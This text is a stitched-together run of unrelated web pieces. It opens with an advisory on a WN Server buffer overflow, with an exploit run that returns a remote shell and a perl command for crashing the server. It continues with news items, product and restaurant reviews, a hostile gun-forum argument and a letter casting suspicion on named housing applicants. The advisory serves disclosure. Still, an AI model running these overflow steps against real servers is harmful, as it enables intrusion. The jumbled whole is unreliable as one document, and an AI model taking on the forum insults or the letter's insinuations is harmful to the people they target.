John Franks's WN Server is an HTTP server designed to provide functionality usually available only with complex CGI programs without the necessity of writing or using these programs. It is included in the latest FreeBSD ports collection. More information about it is available at http://hopf.math.nwu.edu/.
Remote exploitation of a buffer overflow in WN Server could allow arbitrary code execution under the privileges of the targeted server. Exploitation is possible by issuing WN Server a long GET request. Customized shell code is required to bypass the character filtering that WN Server imposes on the requested URI.
The following is a snapshot of an exploit at work:
$ (./wn_bof 0 3; cat) | nc target 80
Trying ret=0xbfbeb4ec
$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
$ uname
Exploitation of a buffer overflow usually results in one of two things: the targeted host process/application/host crashes, or arbitrary code executes. Both have serious repercussions, but in most cases, code execution is more threatening in that it could allow for the further usurpation of higher-level privileges on the targeted host.
WN Server 1.18.2 through 2.0.0, which are included in the FreeBSD ports collection, are affected. Do the following to determine whether a specific WN implementation is susceptible:
1. Ensure that WN is running and open two terminals.
2. In the first terminal execute the command "perl -e 'print "GET /"
. "a"x1600';cat)|nc localhost 80"
3. In the second terminal, determine the process ID of the child
that was spawned to handle the previous command, and attach
GDB to it via the following command set:
# ps ax | grep swn
4223 ?? Ss 0:00.29 ./swn
4711 ?? S 0:00.01 ./swn
# gdb ./swn 4711
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
4. In the second terminal, type 'c'. This tells GDB to continue.
5. In the first terminal, press 'enter'. If at this point the following
output is returned from GDB, then a vulnerable WN
implementation is running:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
No workaround is available as of this writing.
John Franks released WN Server 2.4.4, which corrects this problem. It is available at http://hopf.math.nwu.edu/wn-2.4.4.tar.gz.
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1166 for this issue.

Firm Leaders Survey: Slow Growth on Tap for 2014
Amid a languid recovery and threats to their business model, firm leaders now measure progress in small steps.
Just over five years after the start of the global financial crisis, the job of an Am Law 200 law firm leader arguably remains as tough as it has ever been. The painful decisions to cut staff and attorneys may now be a distant memory, at least for most firms, but there remain two distinct drags on Big Law businesses.
On the one hand, you have the still-sputtering domestic and global economies, prone to macroeconomic shocks like the U.S. government shutdown in October. And on the other, you have the ongoing shift in the way that clients purchase legal services, with more work pushed to cheaper suppliers, hoarded in-house, or fought over by a pack of U.S., international and global firms. In this market, merely treading water can be hard enough.
Against this backdrop, The American Lawyer's 11th annual law firm leaders survey asked The Am Law 200's ruling elite for their insight into current market conditions. We canvassed the heads of the U.S.'s highest-grossing firms for their views on the economic recovery, overall business sentiment at their firms, which practice areas were thriving and which were suffering, their plans for lateral hiring in 2014 and how their billing practices had changed. (The survey is conducted on a confidential basis; heads of 105 firms responded to it.) We also looked back to our 2009 survey to compare the results, and discovered some striking similarities between the two sets of data.
The overall impression is of a market where work flows remain depressed—although moving in the right direction—with some bright spots in litigation and regulation and signs of recovery in corporate work. Firms are being run on a far leaner basis than they were before the crisis, but most have hit their limits on cost control. "We've played this game as an industry for a number of years where we've gotten leaner and meaner, but there's a limit on stripping out costs and lowering rates," says Cooley CEO Joe Conroy.
Given the severity of the economic crisis, it is not surprising that growth in the U.S. economy remains sluggish. When asked how they felt the economic recovery would play out in 2014, 70 percent of this year's respondents said that they thought it would remain the same, with 23 percent saying they expected it to speed up.
The survey period began at the end of August and continued through mid-October, so some pessimism could be attributable to the worsening political climate and eventual October government shutdown in Washington, D.C. Business conditions are "trending in a positive direction, but it continues to be a challenging environment," says Akin Gump Strauss Hauer & Feld chair Kim Koopersmith. "The government shutdown doesn't help, and there's a sense that the U.S. doesn't have its act together, which is a drag overall on the country and on the legal market's ability to move forward."
Still, two-thirds of our survey respondents said that they were "somewhat optimistic" with regard to their own firm's growth in 2014, while just under a quarter said they were uncertain about their firm's prospects. Those numbers match, almost exactly, the responses to the same question in 2009, at the nadir of the downturn, but are up just slightly from 2012, when 64 percent of respondents said they were "somewhat optimistic" and 21 percent said they were uncertain.
There's also a sharp similarity when respondents were asked to characterize morale among their partners—56 percent described it as "somewhat optimistic," compared with 54 percent in 2009. (However, in 2012, 63 percent of respondents said their partners were "somewhat optimistic.")
Amid the gloom, however, litigation remains a bright spot. Just over 80 percent of respondents said they expected to make lateral partner hires in litigation in 2014. Given the ongoing crisis-related work in the banking sector and the tough regulatory environment in Washington, D.C., most respondents expect litigation's strength to continue.
The next most popular practice for laterals in 2014 was corporate. Although M&A remains a tough market, there have been some bright spots in corporate dealmaking. For instance, Verizon Communications Inc.'s acquisition this year of a 45 percent stake in Verizon Wireless for $124.1 billion was the sort of megadeal that the market has not see since before the collapse of Lehman Brothers Holdings Inc. in 2008. According to mergermarket, that deal helped increase U.S. M&A deal value 22.3 percent for the first three quarters of 2013, compared with the first nine months of 2012. Strip out the Verizon deal, however, and M&A was actually down slightly year-over-year.

Northern Middle students get a reality check on life
It's hard enough for adults to learn the ins and outs of car payments, mortgages, bills, health care costs, and child care expenses.
So imagine how difficult juggling the necessities of everyday life looks to 12- and 13-year-olds.
"I won't be able to do a whole lot that I wanted to do," said student Rachel Blevins, 12, during Northern Middle School's popular "Reality Town" program. "I learned I will have to spend my money wisely."
Blevins and the rest of Northern Middle School's 7th grade population on Wednesday underwent a reality check of sorts, thanks to a program that has been offered to the students for 15 years now.
"We're just giving them a dose of reality," said Kathy Sampson, youth services center coordinator with Northern Middle.
When the students step foot into the school gym, they leave middle school and enter a very adult-looking world of banks, car payments, child care, health care costs, unexpected expenses, mortgages, groceries and utility bills, and even "Uncle Sam" himself — think taxes, taxes, and more taxes.

Coyotes making money by not playing?
The Phoenix Coyotes are better off not playing a game.
At least, that may be the case financially.
According to Mike Sunnucks of the Phoenix Business Journal, the NHL's lockout is sparing the financially troubled franchise from losing money based on player salaries and the like.
The team could turn a profit this season � or at least break even � thanks to first-year money from a $308 million arena deal between the city of Glendale and prospective team owner Greg Jamison, as well as the lockout. Basically, it means the Coyotes won't have to pay out an estimated $49 million in player salaries.
Lost games and a lost season because of the lockout would cost the Coyotes ticket sale revenue, sponsorships and concession dollars. The Coyotes lost $20 million to $25 million in recent seasons, according to financial estimates and the team's 2009 Chapter 11 bankruptcy reorganization documents. Forbes magazine estimates the Coyotes lost $21 million last season.
But those revenue losses could be more than offset by Glendale's arena management money and the lack of a professional sports team payroll.
Of course, this is no consolation or time to celebrate for fans, who would undoubtedly prefer to see the team that reached the Western Conference Final last season return to the ice and build off the success.
But as the NHL's lockout prepares to enter its fourth month, it appears the only success anyone might have comes courtesy of the bookkeeping.

My husband and I have always been BUNN people. Our current maker was getting old. We were given a new Crusinart coffeemaker as a gift. We tried it - well needless to say - NO good. We bought a new BUNN from Overstock. This one is great. The coffee is perfect. We are so pleased!
If you are like most people, you have called or made a trip back home to check on the coffee pot. Did I leave the hot plate on?!? Not with this gem! The thermal Carafe keeps coffee hot with no worries about the hot plate. Also, you can set the carafe anywhere without worry, no heat on the outside of the carafe. Only problem at all would be the inevitable dribble after the pour, but I've found that to be an issue with most coffee pots. Otherwise, great Bunn performance, quick coffee, and service on any problems (as long as you register it).
Heard BUNN was the best.All I can say is if you like coffee and drink it daily its worth evey penny.Quick,simple,easy,brews the best tasting coffee-restaurant quality at home!
This is my daughter's dream coffee maker, which she has desired to have for about 10 years. She has "settled for" average coffee makers all these years and I finally gave her this Bunn for Christmas this year. She is thrilled to have it and to have coffee so fast in the morning!
It was everything I expected and more. Couldn't have asked for anything better. Will shop here again.
I had this Bunn coffee maker for about a year now. I got sick of breaking glass pots so decided to try this one. I'm glad I did. Coffee stays hot. Easy and fast brewing.. Just love it! Highly recommend it!
This is not my first Bunn coffee maker, love it and will continue to buy them when needed.
I have been through a lot of coffee makers over the years. Regardless of the costs, I've never been truly satisfied with my purchases. That is until now. We've used the Bunn 10 cup for a couple of weeks now. I am thankful every morning for the performance of this coffee maker. It makes great coffee. I was a little worried that 10 cups wouldn't be enough, as we are accustomed to a 12 cup unit, but it's so easy to use it just doesn't matter. The coffee is always hot, the flavor is perfect, and the cleanup is easy. I especially like the stainless steel finishes. They wipe dry easily and don't water-spot. The plastic surfaces have a rubbery feel that is very resistant to water-spotting, as well. The carafe is easy to open and close. The coffee pours out quickly and doesn't drip. The only negative I can think of is that it is a little noisy after the coffee makes. You can hear the heating element recovering from pouring the cold water into the reservoir (this unit stays on all the time so the water is always hot). The noise is a small price to pay for the lightning fast brew time, and it only lasts for a couple of minutes. Come to think of it, what coffee maker doesn't make noise brewing coffee. I guess that means there are no negatives. Buy it, you'll like it.
The coffee maker stays on all the time, keeping water in the tank warm. We drink coffee in the morning and do not want to leave an appliance on all day and night. Did not work for us, we returned it without any problems.
We have used Bunn before, so we had experience with the systems. This was every bit as good as what we remembered. Definitely use the suggested filters as they are deeper and will handle the flow of the water as it drips through. If you use a brand which is not as deep, it is possible that the filter will overflow. The setup was simple and the advantage of having the water already hot before you brew is rule an advantage. You get a good cup of coffee quickly. Once you set it up, you leave it plugged in to keep the water hot for the next pot. That might take some getting used to. The thermal carafe kept the coffee hot for a couple of hours and is easy to clean. The directions provided were easy to follow and it is important that you do follow them for the first steps before you plug it in.

Herbalife: Time To Look At The Long Side Again
David Zanoni • Thu, Apr. 17 • 337 Comments
- There are multiple hedge and mutual funds in favor of owning Herbalife, but only one calling for the company's demise.
- The recent FBI investigation has caused more concern for the company and investors.
- After 34 years in business, has anything really changed that would cause the company's demise?
- I think that it is likely that the stock will eventually recover.

It's the BEST!!! – Well ever since I tried ocean garden. I always go there anytime I get the chance to go there and eat. The food is never disappointing and it will always be my favorite chinese restaurant. So I recommend the food trust me you'll love it :)
Cockroach on menu???? – We went to the Ocean Garden for brunch. Food looked good. As we got our food and sat down, I noticed a COCKROACH crawling across the table. I killed it with my napkin and called the owner over. I showed him the cockroach and told him we are not paying for the meals. As we left, we shouted to the other patrons that we had a cockroach on our table. Some patrons got up and left also.
Okay if you are looking for chinese food – We went to the Ocean Garden buffet on the last day of our Myrtle Beach vacation. Me and my mom were craving Chinese and my brother wanted crab legs. When we arrived the outside looked shabby but we decided to try the restaurant anyway. The inside was a pleasant surprise and we had a really nice waiter. The chinese food was good! As was the prime rib! but the seafood was not fresh and my brother's crab legs were not fresh. They do have a make your own stirfry station which was nice. I would recommend you go for the lunch buffet and enjoy the chinese food! It was a good experience overall and we will probably return here next year!
hey..at least the apple turnovers are good – From other reviews of this restaurant on other sites..I was expecting at least DECENT food..
Unfortunately, I was greeted with hardened old greasy Chinese food. There was barley any seafood; so don't let the Ocean part of the restaurant name confuse you. EXTREMELY disappointed on the quality and taste of the food. A few things were edible: BBQ spare ribs, cream cheese wantons, apple turnovers, and green beans. The rest of the food tasted as though it was cook days before and was presented in such a sloppy fashion.
The workers serving the food was trying their best to keep everything tidy..but i think they needed more help. The waitress spoke broken English barely understandable. She was doing what she could with the 6 other tables she was waiting on.

What you are saying makes no sense, as any problem with the well would effect the cold water also.
I have a driven well that is three years old. Air is getting into my hot water line.
What you are saying makes no sense, as any problem with the well would effect the cold water also.
Cold water can hold more air than warm water. That is why fish die when streams get warm and it is why you see air bubbles form when a pot of water is heated on the stove.
If you treat the water with aeration for iron, the water can have more air entrained than normal and that air may be driven off inside the water heater.
It could also be that air is getting in on the suction side and the house plumbing is such that a vertical Tee off for the HWT acts as an air separator.
The OP has not really quantified the air and whether it is constant or simply a small amount on first draw after a time of no use.
Both theories I put forth apply to me... small amounts of entrained air are driven out by the water heater and the vertical Tee off for the HWT is the first Tee in the line. When the AVC on my precipitation tank sticks and surplus air is forced through the iron filter and softener, it collects in the vertical line to the HWT. A stuck AVC was causing the media in my iron filter to carry to the drain and clog up the valves during backwash.
I had a neighbour replace his precipitation tank with a standard bladder tank and so had no AVC to remove the air. When air would get so bad as to knock a glass out of his hand, he would do a manual backwash of the iron filter to purge the air.
One of my wells makes "sparkling water" and standard tanks work without any air addition. Rock well, 60' deep. 50 gpm.

This is my St. Patrick's day gift, from me to you. Well, it's technically not my gift. After all, it does come from the gentlemen who gave us Baked: New Frontiers in Baking. It's not a difficult recipe by any stretch of the imagination, but it is one of the few recipes that I've put on the table in the past year or so that has received an A+ from all.
And as a side question: How awesome is it to put beer in a milkshake?
- 2 cups chocolate ice cream
- 1/2 cup whole milk
- 1/4 cup Stout beer, chilled
- 1 Tablespoon powdered malt
Put all ingredients in a blender, and mix until smooth. Serve in a chilled glass.
Serves 2

Hey all, just got back from my lgs and brought home a gently used pt 908. I jumped on the inter-Web and damn if i didn't start seeing lots if bad feed back. This is my third pistol. My first was a raven? 25 auto, second a hi point c9. I really looked the feel if this gun when i picked it up. There was a Hungarian 45 for $295 but 45 ammo is a bit steep for my pay grade. Then there was the 908 for 325. I got him down to 338 out the door with 1 extra mag , box o'shells, and padded a hard case. It is a 8 round model. Wondering if i paid too much??? I really like the gun and I've over paid before so.... I also like that it is not a poly. Need to hear some good reviews on this model. I'll take it out for a spin this weekend. If we ever get cc here in Illinois this will be my daily carry. Any way to find out date if manufacture?
Nice pistol! I have owned five Taurus pistols in the past, and only had a problem with one of them, a PT-111. That's not too bad odds. The PT-111 had an extractor problem.
Wow, that's like going from a Volkswagon bug, to a Pacer, to a Pinto....and yes, IMHO, you did pay too much...I don't think you'll hear too many good reviews........for $65 more dollars, you could have gotten a Ruger SR series, or a Sig 2022...or a number of firearms that were of better quality and reliability....sorry, you asked.
Should have bought a Beretta huh?
Have you shot one? that is my post copied from the Taurus forum where i found three other owners if the pt908 who are all very satisfied. You are the first negative out of a dozen. Thanks for your input.
A Beretta...not necessarily....I just think, IMHO, that you could have made a better choice for the money........
Have you looked around the Chillicothe-Peoria area for used hand guns? Have you shot or ever owned any of the guns i listed? I've got a friend who traded his Beretta in on a glock. I've seen a Kimber fly apart at the range. Like i said, thanks for your knowledgeable opinion. Hopefully this gun shoots as well as it looks.
Actually, no, I haven't looked for firearms in the Chillicothe-Peoria area. I probably wouldn't, even if I was from that area. And, actually, I have never shot or owned any of the firearms you listed. And, even though, I have never jumped head first, off of a two story building.....I realize, that it would be a bad idea. I prefer to own firearms, that are of the same or a bit more in price, but better quality, as to avoid problems down the line, and be confident, that they will work, when I need them. Not just at the range. Many people prefer less expensive handguns. I prefer the quality edge.
Have a lot of shoot outs do ya... Its a tool just like any other. I have craftsman wrenches and snap on wrenches...the bolts can't tell the difference. Feel free to pay for a name. My hi point went bang every time and hit what i pointed at. Merry Christmas.
If anyone with some actual experience in the subject at hand has something to say I'm all ears....talking out of ones ass about something one knows nothing about....save it.
Tell ya what....if you are a senior member of forum...you can have it. You are the most ignorant person i have talked to in quite some time. "the quality edge" what a moron. Keep your forum. Good luck getting new members. C-ya.
Well, Taurus does have QC problems. That means they make guns with problems (more so than average) and other guns that are fine. Maybe celt got a good one. His is a 1994 model, by the way. He already bought the thing so what's the value in running down his gun with non-specific second-hand opinions? He needs to clean it, take it to the range, and put a few hundred rounds down range. Then he'll know if he's got a good gun or not. If the gun runs good, I think he got a good deal.
This is what this forum does....gives opinions......if he would like to rip Beretta's or some other make of firearm, have at it........check the other threads such as Taurus Quality........If someone wishes to carry a second rate firearm, that's their business.......people are here to educate others, I have learned alot myself, from this forum...your quote says it all......" Maybe he got a good one."
There is nothing wrong with Taurus pistols. I have several of them and have never had a problem. A friend of mine has a Taurus 1911 and he broke an extractor after 2500 rounds. He sent it to Tauras and they fixed it for no charge. So sounds like they stnad behind there lifetime warrenty. Thats more than you get from other gun makers.
Did a search in this forum and came up with this
Would you trust your life with a Taurus ?
I agree. Grow up. I guess i was raised with some manners that some are lacking. If you don't like Taurus, stay out if the Taurus discussions. You know what they say about opinions....everyone has one and most if them stink. Thus forums title say"information and discussion" not opinions. Thanks for the positive feedback Scott and desert. I've changed my mind. I'm sticking around. Someone had to be the voice if sanity and fact. I'm staying for the next put fool who stumbles into the trap that some gun snobs have set up here. I live in Illinois and am constantly told to move because if the strict gun laws. My response us if we all move, who will be here to fight the fight? I like my Taurus and if second rate people don't like it, go read something else.
Have a super sparkly day !!!(sarcasm, for the second rate intellects)
We are all estatic that you love your Taurus.....if you look back, it seems that no one has much to say about them in this thread.....if it wasn't for others, there would be no thread at all....so, I guess it's true....if you don't have anything nice to say about Taurus, then don't say anything at all....and no one else will either.......
Thanks Boner! Always glad to hear from an experienced person such as yourself!
I for one, have been shooting for 37 years..............if you want to show us your experience, why don't you enlighten us, and stick up for your Taurus, by showing us all of the glowing facts about your firearm........like similar testing procedures compared to other firearms, you know, things like that....otherwise, you're just another troll, looking for arguments......
I can only speak for things i actually have experie white nce with. So that being said.... After shooting a box of Winchester today i can say that the gun i own and have personally shot works without a hitch. Double action , single action and decocker all functioned as intended.i shot a bit low and to the left. I'm sure that's my inexperience shooting though. So one more box of a hundred and we'll see. I came here looking for knowledge and expertise. If you have any first hand I'd love to hear it.
Here's some expertise.......I am glad that your firearm is working properly.....people on this forum, do not want to see people or firearms fail.....NO one on this forum said that EVERY Taurus fails........they are a company that has alot of QC issues, and in a lot of people's opinion, they are not to be trusted..........they don't have the greatest track record over the years...where does that translate to " they're attacking me personally, and my firearm, and my decision to buy it?" I remember my first firearm.....$200...overpaid....Astra .357 snub.......made in Spain....POS.........like my father used to say, " couldn't hit $hit with a handful of rice." Point being, when I joined this forum....knowledge wise, I wasn't "hitting the rice." I know so much more now. Most of the info you get, besides expertise, is experience....if it happened, it's bound to have happened to someone on this forum. Instead of taking the cork out of the testosterone bottle, glean the info that you can get for free, and put the cork back in...we're all past that(well, alot of us).
where does that translate to " they're attacking me personally, and my firearm, and my decision to buy it?"
Your first post in this thread.
i still haven't heard any first hand knowledge from you about a pt 908. That's what i came here looking for. You don't see Taurus in my user name. Just proud of a new to me firearm and looking to share on a Taurus page with other Taurus owners. Thank you for enlightening me though. I had no idea that pt was short for Pinto.

Did you know that the average American spends three hours per day in their car. That quickly adds up to approximately 1,000 hours per year!
Really puts things into perspective doesn't it?
Moritz Kia Ft. Worth serving Fort Worth, Arlington, Hurst and Keller isn't trying to scare you. Rather, the point we're trying to make is that 1,000 hours per year is a lot of time to be doing anything but enjoying yourself. And, if you ask us, the second-best solution to finding a job closer to home is investing in a new Kia or gently used car featured in our showroom now. Why not read up on new models like the 2014 Kia Rio EX hatchback or sedan, 2014 Kia Soul, or the 2015 Sorento and then come for a test drive today.
Simple. Each new Optima, Sorento, Sedona, Forte and Soul is designed with supreme comfort, entertainment, safety; and, of course, in-car connectivity to keep you in touch with the world even while you're on the go? Maybe the comfort of a new 2014 Cadenza sedan the lovely efficiency of the Optima Hybrid, or the fun and functionality of the Sportage in Fort Worth calls to you. Truly, there is a Kia car or SUV for just about everyone.
And, just wait until you hear about the warranty!

ASU's Foster and Hood named freshman All-Americans
Foster was selected to the first team as an all-purpose player, while Hood was selected to the second team as a defensive lineman.
Coming into the 2012 season as one of the most highly-rated recruits to sign with ASU in recent memory, Foster made an immediate impact on a Sun Devil squad in desperate need of a playmaker.
Storming out of the gate with 99 all-purpose yards and one touchdown in his first regular season game, the 5-foot-11, 183-pound running back proved to be one ASU's most versatile player.
Foster ended the regular season as ASU's third-leading rusher and second-leading receiver and showed the future looks bright for the Sun Devil offense.
On the other side of the ball, Hood became one of just six true freshmen in Arizona State history to start in their first college game. The 6-foot, 295-pound defensive lineman recorded his first sack against Missouri and had a career best five total tackles and one sack in ASU's loss to Oregon State.
Starting every game this season, Hood made his presence known on a defensive unit ranked second in the Pac-12 in total defense. Lining up alongside All-American standout Will Sutton, Hood ended the season with 23 total tackles, four off which were for a loss, and three sacks.

Brain Imaging with MRI and CTby Zoran Rumboldt Mauricio Castillo Benjamin Huang Andrea Rossi
Most imaging books are ordered according to underlying etiology. However, in real life clinical practice, radiologists usually make their differential diagnoses according to the image patterns, as the etiology is often unknown. Brain Imaging with MRI and CT presents over 180 disease processes and normal variants, grouping entities by these basic patterns to accentuate differential diagnostic features. High quality CT and MRI scans show multiple typical and distinguishing images for each entity. Common and unusual clinical scenarios are described, including dilated perivascular spaces, capillary teleangiectasia, Susac's syndrome and desmoplastic infantile ganglioglioma. Both basic and advanced imaging techniques are used, reflecting the reality of clinical practice. This image-focused book emphasises the most pertinent clinical information relevant to the diagnostic process. Trainee and practising radiologists will find Brain Imaging with MRI and CT an invaluable and clinically relevant tool for learning and teaching.

Having tried my hardest to not respond to the lead story ("Hundreds of Mainers line up for housing assistance"), with pictures, in the Local and State news section of your April 11 edition, I am caving. What is wrong with this picture?
Kareem Alashammari was first in line in Portland on April 10 when housing officials began letting people in to add their names to a regional waiting list for federal housing subsidies. A reader calls for closer vetting of applications for subsidized housing.
2013 File Photo/John Patriquin
The first, second and fourth people in line for Section 8 housing, having "bravely" stood there all night, are obviously able-bodied men between 20 and 30 years old.
The third in line has physical problems and is on Social Security (whose Social Security number did he get at 14, fresh from Iraq?).
One of the other applicants mentioned took time off from a job to apply for assistance, to try to get ahead of outlay being more than income, to get a fresh start, off the dole.
"Start" being the operative word. Have the first, second and fourth people in line "started"?
Standing in the cold all night must beat cleaning closed offices, restaurants and schools.
It must be easier than flipping hamburgers, way easier than standing on corners, holding signs during the day, just asking for change or, as my recent hospital stay proved, much better than sitting all night long watching a patient sleep as a companion.
I, like many folks having retired after a lifetime of working, understand that some people need to receive a hand up due to unforeseen circumstances, divorce, illness, layoffs and sometimes just needing to have a breather.
But the young, the healthy and the obviously sturdy can pound the pavement in daylight, instead of standing in line all night for benefits they have yet to earn.
Section 8 was created to help, not to enable.
Wake up, Maine!

Congress Square deserves 'coordinated design effort'
Congress Square is one of the most important physical spaces in downtown.
It includes the major pedestrian and vehicular intersection of downtown Portland, several buildings of outstanding architectural character (including the Portland Museum of Art and the Hay Building), major cultural venues (State Theatre, two museums and the Arts District) and a park that shows occasional signs of vigor.
But too often Congress Square is considered in fragments and defined by its problems: chaotic and scary traffic, drab building facades and sides, and the park, which is an "attractive nuisance" for off-putting behavior.
So much change will be affecting the square in the near future that now is the time to think of remaking the entire public space as a cultural crossroad and a center of downtown activity.
Under consideration are changes to the Free Street traffic pattern, making traffic two-way on High Street, renovation of the Eastland Hotel, possible redesign of the park and a possible addition to the hotel.
All these proposals reflect the efforts of many Portlanders frustrated with current aspects of the square.
The whole of Congress Square can be looked at as one space rather than as a collection of small problems requiring piecemeal solutions. Such a central and potentially vibrant place with so many likely changes deserves a comprehensive, coordinated design effort.
The Portland Society for Architecture stands ready to play a part in this revisioning of the entirety of Congress Square and its approaches.
We believe other major players are ready to contribute as well in order both to avoid a too-narrow focus on minor parts of the square and to capture the full potential of this vital city location.

11:45 AM CST, January 12, 2013
Now that we can sweep the college football season away, much like Alabama did to Notre Dame, it is time to set our sporting sights forward.
There is the NBA, college basketball, even a hockey-light season. Or is that a light hockey season?
Nor should we forget that spring training is approaching. To that end, we spend a day with Tom Lasorda, Mr. Dodger Blue Heaven. Need a baseball boost, see Tommy. He is the Viagra of enthusiasm.
"When people ask me about spring training," Lasorda says, "I tell them I have a weight problem. I can't wait for it to get here."
Lasorda is 85 but says he feels younger. We tell him he doesn't look a day over 841/2.
"I'm just shooting for 15 more," he says.
He has been in the Dodgers organization for 64 years. He has been a minor league pitcher, major league pitcher (cup of coffee), coach, manager and holder of various front-office titles. His current title is assistant to the chairman. The chairman is one of those Guggenheim guys who grossly overpaid for the Dodgers to rid us of Frank McCourt. So we like him.
Lasorda's actual title over all these 64 years can be summarized in three words: Chief Dodgers cheerleader. It doesn't matter where he is, or with whom. There is only one topic and one color. Dodgers and blue. On this day, he is at Santa Anita to present the trophy after a big race. Any gathering of 20 people or more that includes a microphone, he will be there.
He says he doesn't go to the track much, makes a few bets that prove it, and then rolls out the stories.
"I was at Arlington Park [in Chicago] one time with Don Zimmer," Lasorda says. "I see a horse running named Blue Blanket. I've got to bet that one. . . . The horse is like 50-1. I bet it anyway. It not only wins, it sets a track record."
The engine is purring and he shifts into overdrive.
"Another time I'm in New York to make a speech. I see Zimmer in the audience and I talk about the time he had a dream before he went to the track. In the dream, he sees lots of hats walking around. He thinks it's an omen, so he goes to the track and looks for any horse named Hat. All he can find is one named Hat Rack, so he figures that's the one.
"Zimmer's horse takes off and is nine lengths in the lead. Same thing as they turn for home. He's seeing a new boat, a Mercedes. Then his horse is caught from behind and beaten by a nose by a 90-1 shot. He is miserable and depressed and he asks the name of the winning horse.
" 'Sombrero,' they tell him."
There is no situation, nor will there ever be, for which Lasorda lacks a story. He is the master of hot air, and it is delightful, because he knows that you know, and you know that he knows that you know.
He gets a visit from Bob Baffert, one of the more famous horse trainers in the world. They have never met. Each is a master of the one-liner, but they have a more serious thing to discuss: their respective heart attacks.
Where was your pain? Did you get the sweats?
Each agrees he was in denial and each says he had a savior. Baffert says his wife, Jill, went to the computer, started ticking off symptoms "and when I had them all, she said we were going to the hospital."
Lasorda, who was at baseball meetings, says, "They had me in a side room. I told them I wasn't going to the hospital, that I was fine. The commissioner [Bud Selig] came in and said I was going to the hospital. So I went to the hospital."
Lasorda meets Baffert's youngest, 8-year-old Bode, and tries his Dodger Blue Heaven routine. The kid, smart like his mother, buys none of it and tells Lasorda he wants to be a golfer.
We ask Lasorda what he would do if he were still the Dodgers' manager.
"I'd sleep like a baby," he says.
"Last year, when the Angels got [Albert] Pujols and that other guy, that left-handed pitcher [C.J. Wilson], I called up Mike [Scioscia] and asked him to put aside two World Series tickets for me. This year, both teams are gonna be good. This is the best chance we've had in a long time for one of those, whatcha call 'em . . . ?"
Freeway Series, we say.
"Yeah, one of those," he says.
At trophy-presentation time, Baffert's horse wins, naturally. Lasorda presents the hardware to his new best friend. HRTV's Kurt Hoover hands Lasorda the microphone with full knowledge he may never get it back. Lasorda is in full sales pitch in seconds. The Dodgers need fans and the game belongs to those fans, he says.
The fans love it, and him. There will be a handful calling for Dodgers tickets soon. He has blown his hot air and warmed their hearts. There is nobody better at it.
Departure is a slow waltz. No autograph is turned down. Baby No. 246 is kissed.
It is hard to see the fun end. We consider asking him what he thought of Dave Kingman's performance, but we resist.

The Chelsea Foundation made the Christmas wishes of 10 fans come true, as the lucky members of the Chelsea Lottery took part in the annual jackpot draw on the pitch at Stamford Bridge before the Southampton game.
Guest of honour was Chelsea legend Bobby Tambling who drew the balls to allocate the prizes in ascending order of value. With the jackpot £10,000, one fan in particular was delighted to have joined the lottery.
'I didn't know how far through the draw we had got although I kept looking along the line and I was trying to count,' said jackpot-winner Jenny Coulson about the moment her number was drawn.
'I was trying to take it all in, with being out on the pitch, and to receive the first prize from a Chelsea legend like Bobby Tambling was superb.
'I have done this lottery since it started. I have always played football since a young age and the lottery is a chance to give a chance to someone else. Everyone deserves a chance.'
Bobby Tambling scorer of 202 goals for the Blues praised the work of the Chelsea Foundation.
'I know what a great job the Foundation does not only for the young people but for the old boys as well through the Chelsea Past Players' Trust,' he said. 'The work they do and the range of activities they provide is amazing and I'm delighted to be able to lend a hand today.'
Launched in May 2011, the Lottery is dedicated to raising money for the Chelsea Foundation. All funds raised go towards their award-winning community and charity programme, using sport to help inspire, engage and educate.
Sign up online here or download the application form from the tab above and for just £3.75 per week, you can win amazing cash prizes and exclusive Chelsea Football Club experiences.

Arden Hills Otters Summer Recreational TeamThe Arden Hills Otters recreational swim team season runs from April until the end of July. The team competes in the Nor-Cal Swim League, which has 24 competitive teams in four different conferences.
The season begins with the Swim Team Registration Night in February every year at Arden Hills. This is a great opportunity to have any questions or concerns addressed. The first day of practice will begin the first week of April each year, and practice times will be available at Registration Night.
The Otters summer recreational swim team is a highlight of our swimming program each summer and a favorite among parents. The focus is team oriented with an emphasis on fun. Many facilities enjoy making an outing of the 5 to 10 meets on the schedule (most on Saturday mornings) throughout the months of June and July. Practices run from mid-April through the end of July.
Swimmers from the ages of 5 to 18 practice and compete in four competitive strokes (freestyle, backstroke, butterfly and breast stroke). Interested participants must be proficient in at least two strokes. A qualified and knowledgeable coaching staff leads workouts after school in the spring and in the mornings all summer. The season culminates with a championship meet where several area teams compete for top team honors. While swimmers work towards best times, the goal is to develop race strategies and foster a love for competition in swimming.
The Otters are family oriented with many of the events and activities being designed for families. Whether it is the family water park trip, a River Cats Baseball outing, Team BBQ, Team Ice Cream Social, Adult Social or just enjoying the exciting swim meets, there is something for everyone. Don't let this exciting way to spend your summer go on without you.
More information and details regarding the Otters can be found at ardenhillsotters.org.

Rednote enables a user to embed a snippet of audio within a text note. Similar to how you would embed a image, only instead of a photo its is a bit of audio. Rednote has a list of categories including sad, happy, romantic and each category has a list of appropriate songs underneath it. You tap on the song you want to use and it gives you a 5- 19 second clip which you can embed into a text note. At this time you can not create your own clip. It took Rednote over 2 years to get the licensing rights to the clips of the songs they have available.
Rednote just announce a partnership with the Heywire texting app. Rednote currently works directly within the Heywire Android version only. Heywire is working to upgrade their iOs version so Rednote will soon be included in it also. Rednote will also work with native SMS programs such as iOS Messages, where song snippets appear as a link that leads the receiver to a sponsored landing page that will play the clip.

Companies of all sizes are running business applications in the cloud to lower costs, deploy more quickly, and simplify infrastructure management. AWS offers a reliable and flexible cloud infrastructure platform that enables customers to run all types of business applications, from small departmental solutions to mission-critical applications that automate company-wide business processes.
Amazon Web Services provides you the ability to put your websites and webapps in the cloud instantly with no upfront costs, or long-term contracts. You can scale your sites to any size, dynamically, and you only pay for what you use. Even better, these resources are avaiable in 10 regions around the world so your sites, and your data, can be where you want them to be.
AWS is a secured, durable technology platform with industry-recognized certifications and audits such as SOC 1 Type 2, ISO 27001, PCI DSS, FISMA Moderate, and ITAR compliant controls. AWS uses the same, proven approaches to security that enterprises have been using for decades including physical security, network separation, and server & storage isolation. AWS customers have control over their data: they own the data, not us; they can encrypt their data at-rest and in-motion, just as they would in their own infrastructure.
Lower TCO for your applications
